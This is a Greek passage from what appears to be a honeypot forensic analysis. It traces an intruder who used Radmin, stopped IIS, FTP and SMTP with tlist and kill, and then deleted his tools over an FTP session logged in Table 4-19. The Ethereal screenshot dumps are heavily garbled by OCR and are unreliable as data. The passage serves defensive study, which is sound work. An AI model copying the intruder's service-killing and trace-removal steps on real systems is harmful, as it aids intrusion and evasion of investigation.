Όπως αναφέραμε παραπάνω, δεν μπορούμε να δούμε ακριβώς τις κινήσεις του επιτιθέμενου μέσα από το **radmin**, αλλά ίσως προσεγγίσουμε την δραστηριότητα του σύμφωνα με τα υπόλοιπα δεδομένα που συλλέξαμε. Ακολουθώντας λοιπόν τα **syslogs**, που στάλθηκαν προς τον **sysloger**. Το ενδιαφέρον που παρατηρήσαμε σε αυτά τα πακέτα είναι ότι χρησιμοποιήθηκε ή εντολή **tlist** και **kill**. Οι διεργασίες οι οποίες φαίνεται να σταμάτησαν είναι ο **IIS** (80/TCP), **ftp** (21/TCP) και **smtp** (25/TCP), στα σημεία που φαίνονται στην παρακάτω εικόνα.

Elle Edit Capiture Display Tools Use No. Time Source Destination Protocol Info 5531 1956 (00.350405) 122, 168, 0.2 132, 168, 0.0 Syrieg DAEMON NOTICE: Security: NT AUTHORITY:SYSTE 5531 1956 (00.35215) 132, 168, 0.1 132, 168, 0.1 DAEMON NOTICE: Security: NT AUTHORITY:SYSTE 5535 1956 (00.35215) 152, 168, 0.1 132, 168, 0.1 Syrieg DAEMON NOTICE: Security: NT AUTHORITY:SYSTE 5536 1956 (00.35267) 122, 168, 0.1 Syrieg DAEMON NOTICE: Security: NT AUTHORITY:SYSTE 5536 1956 (00.37627) 122, 168, 0.1 Syrieg DAEMON NOTICE: Security: NT AUTHORITY:SYSTE 5536 1956 (00.37767) 122, 168, 0.2 132, 168, 0.1 Syrieg DAEMON NER: Service Control Manager: NA 5541 1956 (00.37767) 122, 168, 0.1 Syrieg DAEMON NER: Service Control Manager: NA 5541 1956 (00.37766) 122, 168, 0.2 152, 168, 0.2 Syrieg DAEMON NER: Service Control Manager: NA 5541 1956 (00.37766) <t< th=""><th>•</th><th>🙆 test log - E</th><th>thereal</th><th></th><th></th><th></th><th></th><th></th><th>STREET, STREET, STREET</th><th>_ ± ×</th></t<>	•	🙆 test log - E	thereal						STREET, STREET	_ ± ×
No. Time Source Destination Protocol Info 6532 19:56:00.348039 192, 168, 0.2 122, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6534 19:56:00.352135 192, 168, 0.2 192, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6535 19:56:00.365306 192, 168, 0.2 192, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6537 19:56:00.37677 192, 168, 0.2 192, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6537 19:56:00.37677 192, 168, 0.12 192, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6539 19:56:00.371676 192, 168, 0.12 192, 168, 0.10 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6541 19:56:00.371677 192, 168, 0.12 192, 168, 0.12 192, 168, 0.12 DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6541 19:56:00.45183 192, 168, 0.12 192, 168, 0.100 Syring DAEMON NOTICE: Socurity: NT AUTHORITY/SYSTE 6544 19:56:00.45183	Eile E	dit <u>C</u> apture	Display	Tools						Help
6532 19:56:00.346039 192.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORITYSYSTE 6533 19:56:00.35213 193.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORITYSYSTE 6535 19:56:00.35205 193.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORITYSYSTE 6536 19:56:00.371057 192.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORITYSYSTE 6536 19:56:00.371057 192.168.0.2 192.168.0.100 Syrleg DAEMON ERR: Service Control Manager, NA 6536 19:56:00.37362 192.168.0.2 192.168.0.100 Syrleg DAEMON ERR: Service Control Manager, NA 6541 19:56:00.371641 192.168.0.2 192.168.0.100 Syrleg DAEMON ERR: Service Control Manager, NA 6541 19:56:00.371631 192.168.0.2 192.168.0.255 NBMS Name query NB WORKGROUP DAEMON ERR: Service Control Manager, NA 6541 19:56:00.52761 192.168.0.2 192.168.0.25 NBMS Name query NB WORKGROUP DAEMON ERR: Service Control Manager, NA DAEMON ERR: Service Control Manager, NA DAEMON ERR: Service Control Manager, NA.	No Th	me	Source		Destination	Protocol	Info			
6533 19:56:00.350185 19:2.168.0.100 Syleg DAEMON NOTICE: Security. NT AUTHORITY/SYSTE 6534 19:56:00.352135 19:2.168.0.100 Syleg DAEMON NOTICE: Security. NT AUTHORITY/SYSTE 6535 19:56:00.352135 19:2.168.0.100 Syleg DAEMON NOTICE: Security. NT AUTHORITY/SYSTE 6536 19:56:00.371056 19:2.168.0.100 Syleg DAEMON NOTICE: Security. NT AUTHORITY/SYSTE 6537 19:56:00.371056 19:2.168.0.100 Syleg DAEMON RR: Service Control Manager. NA 6539 19:56:00.371056 19:2.168.0.2 19:2.168.0.300 Syleg DAEMONERR: Service Control Manager. NA 6541 19:56:00.371013 19:2.168.0.2 19:2.168.0.300 Syleg DAEMONERR: Service Control Manager. NA 6541 19:56:00.371101 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 19:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2 10:2.168.0.2	6532 1	9:56:00.348039	192.165	.0.2	192.168.0.100	Syslog	DAEMO	NNOTICE: Sec	urity: NT AUTHORITY\SYSTE	
6534 1956.00.352135 192.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORTYSYSTE 6535 1956.00.363051 192.168.0.2 192.168.0.100 Syrleg DAEMON NOTICE: Security: NT AUTHORTYSYSTE 6536 1956.00.371261 192.168.0.2 192.168.0.100 Syrleg DAEMON ROTICE: Security: NT AUTHORTYSYSTE 6537 1956.00.372671 192.168.0.2 192.168.0.100 Syrleg DAEMON RRT: Service Control Manager, NA 6539 1956.00.37362 192.168.0.2 192.168.0.100 Syrleg DAEMON RRT: Service Control Manager, NA 6541 1956.00.374614 192.168.0.2 192.168.0.100 Syrleg DAEMON RRT: Service Control Manager, NA 6541 1956.00.374614 192.168.0.2 192.168.0.255 NBMS Name query NB WORKGROUPY155 6541 1956.00.45671 192.168.0.2 192.168.0.2 TCP 61917 > 4899 SH, ACK Seq=1633183107 Ack=1439161256 Win= 6541 1956.00.452671 192.168.0.2 192.168.0.2 TCP 61917 > 4899 SH, ACK Seq=1633183107 Ack=1419331753 Ack=1613951894 Win= 6541 1956.00.552719 192.168.0.2 177.81.125206 TCP 4899 > 61917 FSH	6533 1	9:56:00.35018	5 192,168	.0.2	192 168 0 100	Syslog	DAEMO	NNOTICE: Sec	urity: NT AUTHORITY\SYSTE	8
6555 19:56:00.354306 122.168.0.100 System DAEMONNOTICE: Security: NT AUTHORITY/SYSTE 6536 19:56:00.3714270 152.168.0.100 System DAEMONNOTICE: Security: NT AUTHORITY/SYSTE 6537 19:56:00.3714270 152.168.0.100 System DAEMONNETCE: Security: NT AUTHORITY/SYSTE 6538 19:56:00.3714270 152.168.0.100 System DAEMONNETCE: Security: NT AUTHORITY/SYSTE 6539 19:56:00.37267 192.168.0.2 152.168.0.100 System DAEMONNER: Service Control Manager.NA 6541 19:56:00.37267 192.168.0.2 192.168.0.100 System DAEMONNER: Service Control Manager.NA 6542 19:56:00.376719 192.168.0.2 192.168.0.255 NBNS Registration NS INC*Services/to: NA: IS dop comma 6544 19:56:00.452671 212.168.0.255 NBNS Name quary NB WORKGROUP NN 6545 19:56:00.526271 192.168.0.2 172.168.0.2 TCP 4899 > 61959 [PSH, ACK] Seq=141933173 Ack=161951894 Wine 6545 19:56:00.522719 192.168.0.2 172.168.0.2 TCP 4899 > 61971 / 4599 [PSH, ACK] Seq=141933173 Ack=161951894 Wine 6545 19:56:00.052719 <td>6534 1</td> <td>9:56:00.352135</td> <td>192.168</td> <td>.0.2</td> <td>192.168.0.100</td> <td>Syslog</td> <td>DAEMO</td> <td>N.NOTICE: Sec</td> <td>urity: NT AUTHORITY\SYSTE</td> <td></td>	6534 1	9:56:00.352135	192.168	.0.2	192.168.0.100	Syslog	DAEMO	N.NOTICE: Sec	urity: NT AUTHORITY\SYSTE	
6536 19:56:00.379272 192.168.0.2 192.168.0.100 System DAEMONINGTICE: Society: NT_AUTHORITYSYSTE 6537 19:56:00.371267 192.168.0.2 192.168.0.100 System DAEMONIER: Service Control Manager. NA 6540 19:56:00.371267 192.168.0.2 192.168.0.100 System DAEMONIER: Service Control Manager. NA 6541 19:56:00.371267 192.168.0.2 192.168.0.100 System DAEMONIER: Service Control Manager. NA 6541 19:56:00.371414 192.168.0.2 192.168.0.100 System DAEMONIER: Service Control Manager. NA 6542 19:56:00.375137 192.168.0.2 217.178.1125.00 TCP 4899 < 1937 [PSH.ACK] Seq=1531381307 Ack=1439161256 Win=	6535 1	9:56:00.354306	3 192.168	.0.2	192.16B.0.10D	Syslog	DAEMO	NNOTICE: Sec	urity: NT AUTHORITY\SYSTE	ŝ.
6537 102.169.0.2 102.169.0.100 Systep DAEMON ERR: Service Control Managen N/A. 6538 10.5600.372667 192.168.0.2 192.168.0.100 Systep DAEMON ERR: Service Control Managen N/A. 6549 19.56:00.372677 192.168.0.2 192.168.0.100 Systep DAEMON ERR: Service Control Managen N/A. 6540 19.56:00.372677 192.168.0.2 192.168.0.100 Systep DAEMON ERR: Service Control Managen N/A. 6541 19.56:00.376193 192.168.0.2 127.178.1/25206 TCP A899 > 61938 [PSH, ACK] Seq=1633183107 Ack=1439161236 Win= 6545 19.56:00.352719 192.168.0.2 192.168.0.255 NBMS Registration NB INcH=Services + 1c> 6545 19.56:00.352719 192.168.0.2 117.61125206 TCP 4899 > 61971 PSH, ACK] Seq=163391384 Ack=1419331753 Ack=1613951894 Win= 6545 19.56:00.45218 192.168.0.2 177.61125206 TCP 4899 > 61917 PSH, ACK] Seq=163391384 Ack=1419331753 Win= 6546 19.56:00.052719 192.168.0.2 177.61125206 TCP 4899 > 61917 PSH, ACK] Seq=163391384 Ack=1419331753 Win= 6546 19.56:00.052714 192.168.0.2 197.161.22.06 TCP 4999 > 61917 PSH, ACK] S	6536 1	9:56:00.369372	2 192.165	.0.2	192.168.0.100	Syslog	DAEMO	NNOTICE: Sec	urity: NT AUTHORITY/SYSTE	D.
6538 19:56:00.371965 192, 168, 0. 2 192, 168, 0. 100 Systeg DAEMON ERR: Service Control Manager. N/A. 6540 19:56:00.37366 192, 168, 0. 2 192, 168, 0. 100 Systeg DAEMON ERR: Service Control Manager. N/A. 6541 19:56:00.37362 192, 168, 0. 2 192, 168, 0. 100 Systeg DAEMON ERR: Service Control Manager. N/A. 6541 19:56:00.37362 192, 168, 0. 2 175.122.06 TCP 4899 ≥ 61958 FSH. A. 118 stop comma 6543 19:56:00.373827 192, 168, 0. 2 192, 168, 0. 255 NBNS Name query NB WORKGROUP-tb> 6544 19:56:00.532719 192, 168, 0. 2 217.81.125.206 TCP 4899 ≥ 61917 JPSH. ACK] Seq=1613951894 Act= 1419331753 Act=1613951894 Win= 6545 19:56:00.552719 192, 168, 0. 2 217.81.125.206 TCP 4899 ≥ 61917 JPSH. ACK] Seq=1613951894 Act= 1419331753 Act=1613951894 Win= 6546 19:56:00.552719 192, 168, 0. 2 217.81.125.206 TCP 4899 ≥ 61917 JPSH. ACK] Seq=1613951894 Act= 1419331753 Act=1613951894 Win= 6547 19:50:00.552719 192, 168, 0. 2 176.126 192, 168, 0. 2 177.81.125.206 TCP 4899 ≥ 61917 JPSH. ACKJ Seq=1613931894 Act= 1419331753 Act=161	6537 1	9:56:00.371270	3 192.168	.0.2	192.168.0.100	Syslog	DAEMO	NERR: Service	Control Manager: N/A	1 N 2323 203
6539 19:56:00.372677 19:2.168.0.100 Systeg DAEMONERR: Service Control Manager. NA_ 6540 19:56:00.374104 192.168.0.2 192.168.0.100 Systeg DAEMONERR: Service Control Manager. NA_ 6542 19:56:00.374104 192.168.0.2 192.168.0.100 Systeg DAEMONNERR: Service Control Manager. NA_ 6543 19:56:00.374104 192.168.0.2 192.168.0.255 NBNS Registration NB Net-Services:10> 6544 19:56:00.45618 192.168.0.255 NBNS Name query NB WORKGROUP<1b> 654141933173 Ack=1613951804 Win= 6545 19:56:00.52671 192.168.0.2 177.81.125.206 192.168.0.2 7CP 61917 2499 [PSH, ACK] Seq=1613981894 Ack=141933177 Win= 6546 19:56:00.526719 192.168.0.2 217.81.125.206 TCP 4599 > 61917 [PSH, ACK] Seq=1613981894 Ack=141933177 Win= 6546 19:56:00.526719 192.168.0.2 217.81.125.206 TCP 4599 > 61917 [PSH, ACK] Seq=1613981894 Ack=141933177 Win= 61 192.168.0.2 197.168.0.2 197.168.0.2 197.178.125.206 TCP 4599 > 61917 [PSH, ACK] Seq=1613981894 Ack=141933177 Win= 61 192.168.0.1 192.168.0.2 197.168.0.2 197.1	6538 1	9:56:00.371956	5 192.168	1.0.2	192.168.0.100	Sysiog	DAEMO	N.ERR: Service	Control Manager: N/A	
6540 1956:00.37362 192.168.0.100 Systeg DAEMONERR: Service Control Manager. NA 6541 1956:00.376104 192.168.0.2 192.168.0.100 Systeg DAEMONNOTICE: IISCILS: NA: IIS stop comma 6542 1956:00.376103 192.168.0.2 175.1123.206 TCP 4999 > 61938 [PSH, ACK] Seq=1633163107 Ack=1439161256 Win= 6543 1956:00.452671 217.81.123.206 TCP 4999 > 61937 [PSH, ACK] Seq=16331737 Ack=14193173 Ack=141931735 Ack=1613951894 Win= 6545 1956:00.522719 192.168.0.2 217.61.125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331759 Ack=1419331759 Ack=1419331759 Ack=1419331759 Ack=1419331759 Win= 6546 19:56:00.522719 192.168.0.2 217.61.125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331759 Win= 6547 19:56:00.52719 192.168.0.3 DAEMON expression Vol (Vol (<td< td=""><td>6539 1</td><td>9:56:00.372671</td><td>7 192.168</td><td>1.0.2</td><td>192.16B.0.10D</td><td>Syslog</td><td>DAEMO</td><td>N.ERR: Service</td><td>Control Manager: N/A</td><td></td></td<>	6539 1	9:56:00.372671	7 192.168	1.0.2	192.16B.0.10D	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6541 19:56:00.376193 192.168.0.2 112.168.0.100 Sysleg DAEMONNOTICE: IISCTUS: NA: IIS sign comma 6542 19:56:00.376193 192.168.0.2 217.81.125.206 TCP 4899 > 619518 PSH, ACK] Seq=1633183107 Ack=1439161256 Win= 6544 19:56:00.405188 192.168.0.255 NBNS Registration NSI WorkKGROUP<15> 6545 19:56:00.42671 127.81.125.206 192.168.0.255 NBNS Name query NB WORKGROUP<15> 6545 19:56:00.352719 192.168.0.2 177.81.125.206 TCP 61917 PSH, ACK] Seq=1419331753 Ack=1613951894 Win= 6545 19:56:00.352719 192.168.0.2 217.81.125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331779 Win= 4 Instrument toword, one nout: Instrument toword, one nout: <td>6540 1</td> <td>9:56:00.373362</td> <td>192.168</td> <td>.0.2</td> <td>192.168.0.100</td> <td>Syslog</td> <td>DAEMO</td> <td>N.ERR: Service</td> <td>Control Manager: N/A</td> <td></td>	6540 1	9:56:00.373362	192.168	.0.2	192.168.0.100	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6542 19:56:00.376193 192_168_0.2 217.81.125.206 TCP 4899 > 61958 IPSH, ACK Seq=1633163107 Ack=1439161256 Wine 6544 19:56:00.495186 192_168_0.2 192_168_0.255 NBNS Registration NB INet-Services Registration NB WoRkGROUP Name query NB WORKGROUP Name NAME NAME NAME N	6541 1	9:56:00.374104	192.168	1.0.2	192.16B.0.100	Syslog	DAEMO	NNOTICE: IISC	TLS: N/A: IIS stop comma	1
6543 19:56:00.393287 192,168,0,255 NBNS Registration NB INet-Services*1c> 6544 19:56:00.406188 192,168,0,255 NBNS Name query NB WORKGROUP<1b> 6545 19:56:00.522719 192,168,0,255 NBNS Name query NB WORKGROUP<1b> 6545 19:56:00.522719 192,168,0,2 172,17,81,125,206 TCP 61917 >4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=141931775 Ack=1613951894 Win= 6545 19:56:00.522719 192,168,0,2 217,81,125,206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=141931779 Win= 4 ************************************	6542 1	9:56:00.376193	3 192.168	.0.2	217.81.125.206	TCP	4899 > 1	61958 (PSH, AC	CK] Seq=1633183107 Ack=14	39161256 Win=
6544 1956:00.405188 192.168.0.2 192.168.0.2 TCP 61917 > 4899 [PSH, ACK] Seq=1613951894 Ack=1613951894 Win= 6545 1956:00.532719 192.168.0.2 TCP 61917 > 4899 [PSH, ACK] Seq=1613951894 Ack=1419331773 Ack=1613951894 Ack=1419331779 Win= 6 197.56:00.532719 192.168.0.2 17.81125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331779 Win= • • • • • • • • •	6543 1	9:56:00.393287	192.165	.0.2	192.168.0.255	NBNS	Registra	tion NB INet-Se	ivices<1c>	
6545 19:56:00.542671 217.81.125.206 192.1£9.0.2 TCP 61917 > 4899 [PSH, ACK] Seq=1419331753 Ack=1613951894 Win= 6546 19:56:00.552719 192.1£9.0.2 217.81.125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331779 Win= 4 • enemest toord, the noor, the correct of the correct of the noor, the correct of the noor, the noor, the correct of the noor, the correct of the noor, the	6544 1	9:56:00.405188	8 192.168	.0.2	192.168.0.255	NBNS	Name q	uery NB WORK	GROUP<1b>	
6346 19:56:00.552719 192.169.0.2 217.81.125.206 TCP 4899 > 61917 [PSH, ACK] Seq=1613951894 Ack=1419331779 Win= 4 • emmet reaces, or exact reactions (2) • exact reactions (2) • exact reactions (2) • exact reactions (2) b User Datagram Protocol, Sice Port 1026 (1026), Dst Port 514 (514) • exact reactions (3) • exact reactions (3) 0001 1 = Facility: DAEMON - system daemons (3) •	6545 1	9:56:00.54267	1 217.81.1	25,206	192.168.0.2	TCP	61917 >	4899 [PSH, AC	CK] Seq=1419331753 Ack=16	13951894 Win=
 Internet r towon, one nour. Hotsol role Estimates and the second second	6546 1	9:56:00.552719	9 192.168	1.0.2	217.81.125.206	TCP	4899 > 1	61917 (PSH. AC	CK] Seq=1613951894 Ack=14	19331779 Win=
User Datagram Protocol, Src Port 1026 (1026), Dist Port 514 (514) Systeg message: DAEMON.ERR Service Control Manager. N/A 0001 1 = Facility: DAEMON - system daemons (3) 011 = Level: ERR - error conditions (3) Message: Service Control Manager. N/A.: The IIS Admin Service service terminated unexpectedly. If has done this 5 time(s). The following corrective action will 1000 00 04 e2 33 cc d9 00 04 e2 33 84 16 08 00 45 00\$3MΩ. β3Ε. 1002 04 64 04 02 02 02 00 e5 86 83 cc 32 73 e5 36 65 K.cl £*27.×5e 0030 72 76 69 63 65 20 43 67 6e 74 72 6f 6c 20 4d 61 rvice Control Ma 004 6e 61 67 65 72 3a 20 4e 2/41 3a 20 54 68 65 20 nager. N /A: The 0050 09 94 53 20 41 64 64 96 6e 20 53 65 72 76 69 63 115 Admin Service 0060 65 20 73 65 72 76 69 63 65 20 74 65 72 64 69 6e e service termin 0070 01 74 65 64 72 07 56 65 77 8 70 65 63 74 65 64 6c aled une xpectedl 0060 69 20 20 55 72 76 69 63 65 20 74 65 72 92 e2 0 this 51 ime(s). 0060 79 2e 20 20 49 74 20 68 6f 56 65 20 9. y. It has done 0090 74 68 69 73 20 35 20 74 69 66 65 28 73 29 2e 20 this 51 ime(s). 0060 67 72 76 56 63 74 65 76 50 66 57 20 53 The following corrective action 0000 20 54 58 65 20 66 67 65 cc 61 77 69 6e 57 20 53 The following corrective action 0000 20 77 69 6c 62 00 62 65 20 74 61 65 65 20 0 9. will be taken 1 Filter	**				100 100 0 0					
▶ User Datagram Protocol, Sic Port 1026 (1026), Dst Port 514 (514) ▼ Systog message: DAEMON.ERR: Service Control Manager N/A. 0001 1 = Facility: DAEMON - system daemons (3) 011 = Level: ERR - error conditions (3) Message: Service Control Manager. N/A: The IIS Admin Service service terminated unexpectedly. If has done this 5 time(s). The following corrective action will 1 0000 00 04 e2 33 cc d9 00 04 e2 33 84 16 08 00 45 00	4				CALIFIC CONVERSION	11722				181
Image: Service Control manager. Non The its Admin Service service terminated tabespectedly. This Sofie its 5 time(s). The holdwing contentive action was actin was actin was actin was action was action was action was actin	000	1 1 = Facility: 011 = Level: ER	DAEMON R - entor c	- system daemor onditions (3)	15 (3)	terminated up	a va a da di	. When down the	in Films (s). The following service	
0000 000 04 e2 33 cc d9 00 04 e2 33 84 16 08 00 45 00β3MΩβ3E. 0010 0019 45 89 00 00 80 11 3e 32 81 e9 4b 02 81 e9	Mes	sage: Service	Conzo Me	mager. Nove: The	its Admin Service service	terminated to	rexpectedly	nas done m	is 5 time(s). The totrowing con	recuve action will
0000 00 4 e2 33 cc d9 00 04 e2 33 cc d9 00 04 e2 33 ec 16 08 00 45 00B3M(0B3E. 0010 00 f9 45 89 00 00 80 11 3e 32 8f e9 4b 02 8f e9	22					1.1.1				
Filter	0000 00 0010 00 0020 4b 0030 72 0040 6e 0050 49 0060 65 0070 61 0080 79 0090 74 0080 20 0080 6f 0080 6f	$\begin{array}{c} 0.4 \\ p \ 45 \ 80 \ 000 \ 00 \\ p \ 45 \ 80 \ 000 \ 00 \\ p \ 45 \ 80 \ 80 \ 000 \ 00 \\ p \ 40 \ 80 \ 80 \ 000 \ 00 \\ p \ 80 \ 80 \ 80 \ 80 \ 80 \ 80 \ 80 \ $	9 00 04 e 0 80 11 3 2 00 e5 8 0 43 6f 6 a 20 4e 2 4 6d 69 6 6 69 63 (5 6e 65 7 4 20 68 6 5 20 74 6 5 6 6f 6c 6 4 69 76 6 0 62 65 2	2 33 84 16 08 49 46 02 c 88 3c 32 37 3e 9 74 72 6f 6c 20 0 14 1 3a 20 54 68 e 20 53 65 72 7f 55 20 74 65 72 6 17 3 20 65 63 74 6 9 6d 65 28 73 2f c 6f 77 69 6e 67 5 20 6f 63 74 69 0 74 6f 6b 55 6f	A 5 00p3ML, p3E Bf e9 _ uE>2.1K.i 53 65 Kd£<27>Se 4d 61 rvice Control Ma 65 20 nager. N /A: The 5 69 63 IIS Admin Servic d 69 6e e servic e termin 5 64 6c aled une xpecte 65 20 y. It has done 9 2e 20 this 5 time(s). 20 63 The following c 61 6e orrective action s 20 69 will be taken i	di				
	Filter					· NE	KaBaam	# Engouovit	File: test.log	

Εικόνα 4-12

👻 🤇 🥝 test.log	- Ethereal		алықлат				×
<u>File E</u> dit <u>C</u> aptur	re <u>D</u> isplay <u>T</u> ools					H	əlp
No Time	Source	Destination	Protoco	Info			-
6532 19:56:00.348	039 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: Secu	irity: NT AUTHORITY\SYSTE	
6533 19:56:00.350	185 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: Secu	irity: NT AUTHORITY\SYSTE	
6534 19:56:00.352	135 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: Secu	urity: NT AUTHORITY\SYSTE	
6535 19:56:00.354	306 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: Secu	irity: NT AUTHORITY\SYSTE	
6536 19:56:00.369	372 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: Secu	urity: NT AUTHORITY\SYSTE	0
6537 19:56:00.371	278 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6538 19:56:00.371	956 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6539 19:56:00.372	677 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6540 19:56:00.373	362 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.ERR: Service	Control Manager: N/A	
6541 19:56:00.374	104 143.233.75.2	143.233.75.100	Syslog	DAEMO	N.NOTICE: IISCT	FLS: N/A: IIS stop comma	
6542 19:56:00.376	193 143.233.75.2	217.81.125.206	TCP	4899 > 1	61958 [PSH, AC	K] Seg=1633183107 Ack=1439161256 Win	=
6543 19:56:00.393	287 143.233.75.2	143.233.75.255	NBNS	Registra	tion NB INet~Se	rvices<1c>	
6544 19:56:00.405	188 143.233.75.2	143.233.75.255	NBNS	Name q	uery NB WORK	GROUP<1b>	
6545 19:56:00.542	671 217.81.125.206	143.233.75.2	TCP	61917 >	4899 [PSH, AC	K] Seq=1419331753 Ack=1613951894 Win:	=
6546 19:56:00.552	2719 143.233.75.2	217.81.125.206	TCP	4899 > 1	61917 [PSH, AC	K] Seq=1613951894 Ack=1419331779 Win	÷
		110 000 75 0		- 10FO -			
1			***				1
 O001 1 = Faci 011 = Level: 	ility: DAEMON - system dae ERR - error conditions (3)	emons (3)					
Message: Servi	ice Control Manager: N/A: 1	The IIS Admin Service service te	erminated u	nexpectedly	. It has done thi	s 5 time(s). The following corrective action w	,II 🗸
•							1
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	$\begin{array}{c} c \ d9 \ 00 \ 04 \ e2 \ 33 \ 84 \ 16 \ 01 \\ 0 \ 00 \ 80 \ 11 \ 3e \ 32 \ 8f \ e9 \ 4b \\ 2 \ 02 \ 00 \ e5 \ 8c \ 88 \ 3c \ 32 \ 3' \\ 5 \ 20 \ 43 \ 6f \ 6e \ 74 \ 72 \ 6f \ 6c \\ 72 \ 3a \ 20 \ 4e \ 2f \ 41 \ 3a \ 20 \ 54 \\ 1 \ 64 \ 6d \ 69 \ 6e \ 20 \ 53 \ 65 \ 72 \ 76 \ 65 \ 65 \ 78 \ 70 \ 65 \ 63 \\ 97 \ 42 \ 68 \ 61 \ 73 \ 20 \ 64 \ 65 \ 28 \ 7 \\ 0 \ 65 \ 6f \ 6c \ 6c \ 6f \ 77 \ 69 \ 66 \\ 37 \ 46 \ 97 \ 65 \ 20 \ 61 \ 65 \ 74 \ 76 \ 66 \\ 37 \ 46 \ 76 \ 65 \ 20 \ 61 \ 65 \ 74 \ 76 \ 66 \\ 37 \ 46 \ 97 \ 65 \ 20 \ 74 \ 61 \ 6b \ 66 \ 61 \ 61 \ 77 \ 69 \ 66 \\ 37 \ 46 \ 97 \ 65 \ 20 \ 74 \ 61 \ 6b \ 65 \ 20 \ 74 \ 61 \ 6b \ 65 \ 74 \ 76 \ 66 \ 65 \ 76 \ 76 \ 66 \ 65 \ 76 \ 76$	8 00 45 00, \$3E. 102 8f e9, \$2K 102 8f e9, \$2K 103 8f e9, \$2K 104 61 rvice Control Ma 168 65 20 nager. N /A: The 127 66 69 63 IIS Admin Servic 12 6d 69 6e eservice termin 174 65 64 6c ated une xpectedl 16 66 52 0 y. It has done 173 29 2e 20 this 5 time(s). 16 67 20 63 The following c 16 69 66 e orrective action 15 6e 20 69 will be taken i	I				
Filter:			₹ % E	κκαθάριση		File: test.log	

Η δεύτερη, τρίτη και τέταρτη κυκλωμένη γραμμή, σταματάνε τις διεργασίες **ftp**, **smtp** και **www** αντίστοιχα.

Στην συνέχεια γίνεται χρήση του **iisreset.exe** (<u>http://support.microsoft.com/default.aspx?scid=kb;EN-US;202013</u>)</u>. Συνοπτικά, αυτό είναι μια **command line** εφαρμογή, η οποία μπορεί να διαχειρίζεται τον **Microsoft IIS**.

Στις επόμενες αναφορές συστήματος, βλέπουμε ότι ξαναξεκινάει η διεργασία του IIS, προφανώς με την χρήση του iisreset.exe, όμως μόνο για υποστήριξη ιστοσελίδων (www 80/TCP). Δεν ξέρουμε γιατί δεν εκκινεί την υπηρεσία ηλεκτρονικού ταχυδρομείου και την υπηρεσία μεταφοράς αρχείων. Απ' ότι μπορούμε να υποψιαστούμε, ο επιτιθέμενος δεν θέλει την γραμμή του honeypot πολύ φορτωμένη γιατί ίσως να χρειαστεί όλη την δυνατή ταχύτητα μεταφοράς που μπορεί να έχει η γραμμή.

4.2.4.2 Επίτευξη τελικού σκοπού του blackhat

Ας συνεχίσουμε όμως με τις **ftp** συνδέσεις στην πόρτα 8976, που έχουν να μας δώσουν αρκετή πληροφορία.

Η αμέσως επόμενη ενδιαφέρουσα **ftp** σύνδεση, είναι αυτή που ξεκινάει από την πόρτα 62461 του επιτιθέμενου προς την 8976 του **honeypot**, κατά την οποία δημιουργεί και διαγράφει μερικούς καταλόγους.

Πίνακας 4-19

257 "/c:/Program Files/Common Files/Microsoft Shared/MSInfo" is current directory
DELE kill.exe.
250 DELE command successful
DELE tlist.exe.
250 DELE command successful
257 "/c:" is current directory
DELE apis.txt.
250 DELE command successful
CWD test.
250 Directory changed to /c:/test.
PWD.
257 "/c:/test" is current directory
250 Directory changed to /c:/temp/ext16672/i386/winntupg/ms/modemshr.
PWD.
257 "/c:/temp/ext16672/i386/winntupg/ms/modemshr" is current directory
CWD /c:/.
250 Directory changed to /c:.
PWD.
257 "/c:" is current directory
RMD /c:/temp/ext16672/i386/winntupg/ms/modemshr.
250 RMD command successful
RMD /c:/temp.
250 RMD command successful
CWD Inetpub.
250 Directory changed to /c:/Inetpub.
PWD.
257 "/c:/Inetpub" is current directory

Στον πίνακα 4-19 βλέπουμε μία σύνοψη των κινήσεων που έγιναν από τον επιτιθέμενο μέσα από την σύνδεση, από πόρτα 62461 προς 8976. Έχουμε χωρίσει τις κινήσεις σε τέσσερα βήματα.

